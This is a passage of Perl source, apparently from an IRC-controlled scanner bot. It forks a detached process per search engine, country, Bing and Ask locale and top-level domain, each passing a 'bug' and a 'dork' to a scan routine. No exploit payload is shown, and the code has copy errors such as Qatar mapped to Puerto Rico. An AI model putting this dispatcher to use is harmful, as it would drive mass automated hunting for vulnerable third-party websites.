&type($chan,$bug,$dork,"Iceland",$type,$nick,$id); } exit; } } if ($engine =~ /ireland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ireland",$type,$nick,$id); } exit; } } if ($engine =~ /kenya/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kenya",$type,$nick,$id); } exit; } } if ($engine =~ /kuwait/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kuwait",$type,$nick,$id); } exit; } } if ($engine =~ /laos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Laos",$type,$nick,$id); } exit; } } if ($engine =~ /latvia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Latvia",$type,$nick,$id); } exit; } } if ($engine =~ /liberia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Liberia",$type,$nick,$id); } exit; } } if ($engine =~ /libyan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Libyan",$type,$nick,$id); } exit; } } if ($engine =~ /lithuania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lithuania",$type,$nick,$id); } exit; } } if ($engine =~ /macedonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Macedonia",$type,$nick,$id); } exit; } } if ($engine =~ /malta/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malta",$type,$nick,$id); } exit; } } if ($engine =~ /mongolia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mongolia",$type,$nick,$id); } exit; } } if ($engine =~ /mozambique/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mozambique",$type,$nick,$id); } exit; } } if ($engine =~ /namibia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Namibia",$type,$nick,$id); } exit; } } if ($engine =~ /nauru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nauru",$type,$nick,$id); } exit; } } if ($engine =~ /nepal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nepal",$type,$nick,$id); } exit; } } if ($engine =~ /newzealand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NewZealand",$type,$nick,$id); } exit; } } if ($engine =~ /nigeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nigeria",$type,$nick,$id); } exit; } } if ($engine =~ /paraguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Paraguay",$type,$nick,$id); } exit; } } if ($engine =~ /peru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Peru",$type,$nick,$id); } exit; } } if ($engine =~ /portugal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Portugal",$type,$nick,$id); } exit; } } if ($engine =~ /puertorico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type,$nick,$id); } exit; } } if ($engine =~ /qatar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type,$nick,$id); } exit; } } if ($engine =~ /saintlucia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaintLucia",$type,$nick,$id); } exit; } } if ($engine =~ /samoa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Samoa",$type,$nick,$id); } exit; } } if ($engine =~ /saudiarabia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,dork,"SaudiArabia",$type,$nick,$id); } exit; } } if ($engine =~ /senegal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Senegal",$type,$nick,$id); } exit; } } if ($engine =~ /slovakia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovakia",$type,$nick,$id); } exit; } } if ($engine =~ /srilanka/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Srilanka",$type,$nick,$id); } exit; } } if ($engine =~ /swaziland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Swaziland",$type,$nick,$id); } exit; } } if ($engine =~ /tajikistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tajikistan",$type,$nick,$id); } exit; } } if ($engine =~ /tanzania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tanzania",$type,$nick,$id); } exit; } } if ($engine =~ /tokelau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tokelau",$type,$nick,$id); } exit; } } if ($engine =~ /tonga/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tonga",$type,$nick,$id); } exit; } } if ($engine =~ /tunisia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tunisia",$type,$nick,$id); } exit; } } if ($engine =~ /uruguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uruguay",$type,$nick,$id); } exit; } } if ($engine =~ /uzbekistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uzbekistan",$type,$nick,$id); } exit; } } if ($engine =~ /venezuela/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Venezuela",$type,$nick,$id); } exit; } } if ($engine =~ /yemen/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yemen",$type,$nick,$id); } exit; } } if ($engine =~ /yugoslavia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yugoslavia",$type,$nick,$id); } exit; } } if ($engine =~ /zambia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zambia",$type,$nick,$id); } exit; } } if ($engine =~ /uganda/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uganda",$type,$nick,$id); } exit; } } if ($engine =~ /trinidad/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Trinidad",$type,$nick,$id); } exit; } } if ($engine =~ /zimbabwe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zimbabwe",$type,$nick,$id); } exit; } } if ($engine =~ /buahdada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BuahDada",$type,$nick,$id); } exit; } } if ($engine =~ /payudara/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PayuDara",$type,$nick,$id); } exit; } } if ($engine =~ /kentot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kentot",$type,$nick,$id); } exit; } } if ($engine =~ /memek/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MeMek",$type,$nick,$id); } exit; } } if ($engine =~ /emel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eMeL",$type,$nick,$id); } exit; } } if ($engine =~ /oral/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OraL",$type,$nick,$id); } exit; } } if ($engine =~ /klitoris/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Klitoris",$type,$nick,$id); } exit; } } if ($engine =~ /masturbasi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Masturbasi",$type,$nick,$id); } exit; } } if ($engine =~ /onani/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Onani",$type,$nick,$id); } exit; } } if ($engine =~ /sperma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sperma",$type,$nick,$id); } exit; } } if ($engine =~ /anal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AnaL",$type,$nick,$id); } exit; } } if ($engine =~ /puting/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Puting",$type,$nick,$id); } exit; } } if ($engine =~ /penis/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Penis",$type,$nick,$id); } exit; } } if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type,$nick,$id); } exit; } } if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type,$nick,$id); } exit; } } if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type,$nick,$id); } exit; } } if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type,$nick,$id); } exit; } } if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type,$nick,$id); } exit; } } if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type,$nick,$id); } exit; } } if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type,$nick,$id); } exit; } } if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type,$nick,$id); } exit; } } if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type,$nick,$id); } exit; } } if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type,$nick,$id); } exit; } } if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type,$nick,$id); } exit; } } if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type,$nick,$id); } exit; } } if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type,$nick,$id); } exit; } } if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type,$nick,$id); } exit; } } if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type,$nick,$id); } exit; } } if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type,$nick,$id); } exit; } } if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type,$nick,$id); } exit; } } if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type,$nick,$id); } exit; } } if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type,$nick,$id); } exit; } } if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type,$nick,$id); } exit; } } if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type,$nick,$id); } exit; } } if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type,$nick,$id); } exit; } } if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type,$nick,$id); } exit; } } if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type,$nick,$id); } exit; } } if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type,$nick,$id); } exit; } } if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type,$nick,$id); } exit; } } if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type,$nick,$id); } exit; } } if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type,$nick,$id); } exit; } } if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type,$nick,$id); } exit; } } if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type,$nick,$id); } exit; } } if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type,$nick,$id); } exit; } } if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type,$nick,$id); } exit; } } if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type,$nick,$id); } exit; } } if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type,$nick,$id); } exit; } } if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type,$nick,$id); } exit; } } if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type,$nick,$id); } exit; } } if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type,$nick,$id); } exit; } } if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type,$nick,$id); } exit; } } if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type,$nick,$id); } exit; } } if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type,$nick,$id); } exit; } } } #------------------------- OTHER -----------------------------------------# if($oscan) { if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"searchnz",$type,$nick,$id); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick,$id); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick,$id); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick,$id); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick,$id); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick,$id); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick,$id); } exit; } } if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Dogpile",$type,$nick,$id); } exit; } } } #------------------------- TLD -----------------------------------------# if($pscan) { if ($engine =~ /by/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"by",$type,$nick,$id); } exit; } } if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ae",$type,$nick,$id); } exit; } } if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ar",$type,$nick,$id); } exit; } } if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"at",$type,$nick,$id); } exit; } } if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"au",$type,$nick,$id); } exit; } } if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"br",$type,$nick,$id); } exit; } } if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ca",$type,$nick,$id); } exit; } } if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cl",$type,$nick,$id); } exit; } } if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cn",$type,$nick,$id); } exit; } } if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cz",$type,$nick,$id); } exit; } } if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"de",$type,$nick,$id); } exit; } } if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dk",$type,$nick,$id); } exit; } } if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"es",$type,$nick,$id); } exit; } } if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eu",$type,$nick,$id); } exit; } } if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fr",$type,$nick,$id); } exit; } } if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hu",$type,$nick,$id); } exit; } } if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"id",$type,$nick,$id); } exit; } } if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"il",$type,$nick,$id); } exit; } } if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"in",$type,$nick,$id); } exit; } } if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"it",$type,$nick,$id); } exit; } } if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jp",$type,$nick,$id); } exit; } } if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kr",$type,$nick,$id); } exit; } } if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mx",$type,$nick,$id); } exit; } } if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"my",$type,$nick,$id); } exit; } } if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nl",$type,$nick,$id); } exit; } } if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ph",$type,$nick,$id); } exit; } } if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pl",$type,$nick,$id); } exit; } } if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ro",$type,$nick,$id); } exit; } } if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ru",$type,$nick,$id); } exit; } } if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"th",$type,$nick,$id); } exit; } } if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ua",$type,$nick,$id); } exit; } } if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"uk",$type,$nick,$id); } exit; } } if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"us",$type,$nick,$id); } exit; } } if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"si",$type,$nick,$id); } exit; } } if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"be",$type,$nick,$id); } exit; } } if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tv",$type,$nick,$id); } exit; } } if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cc",$type,$nick,$id); } exit; } } if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"as",$type,$nick,$id); } exit; } } if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ai",$type,$nick,$id); } exit; } } if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ag",$type,$nick,$id); } exit; } } if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"az",$type,$nick,$id); } exit; } } if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bh",$type,$nick,$id); } exit; } } if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bd",$type,$nick,$id); } exit; } } if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bz",$type,$nick,$id); } exit; } } if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bo",$type,$nick,$id); } exit; } } if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ba",$type,$nick,$id); } exit; } } if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vg",$type,$nick,$id); } exit; } } if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bg",$type,$nick,$id); } exit; } } if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bi",$type,$nick,$id); } exit; } } if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"co",$type,$nick,$id); } exit; } } if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cd",$type,$nick,$id); } exit; } } if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cg",$type,$nick,$id); } exit; } } if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ck",$type,$nick,$id); } exit; } } if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cr",$type,$nick,$id); } exit; } } if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hr",$type,$nick,$id); } exit; } } if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cu",$type,$nick,$id); } exit; } } if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ci",$type,$nick,$id); } exit; } } if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dj",$type,$nick,$id); } exit; } } if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dm",$type,$nick,$id); } exit; } } if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"do",$type,$nick,$id); } exit; } } if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ec",$type,$nick,$id); } exit; } } if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eg",$type,$nick,$id); } exit; } } if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sv",$type,$nick,$id); } exit; } } if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ee",$type,$nick,$id); } exit; } } if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"et",$type,$nick,$id); } exit; } } 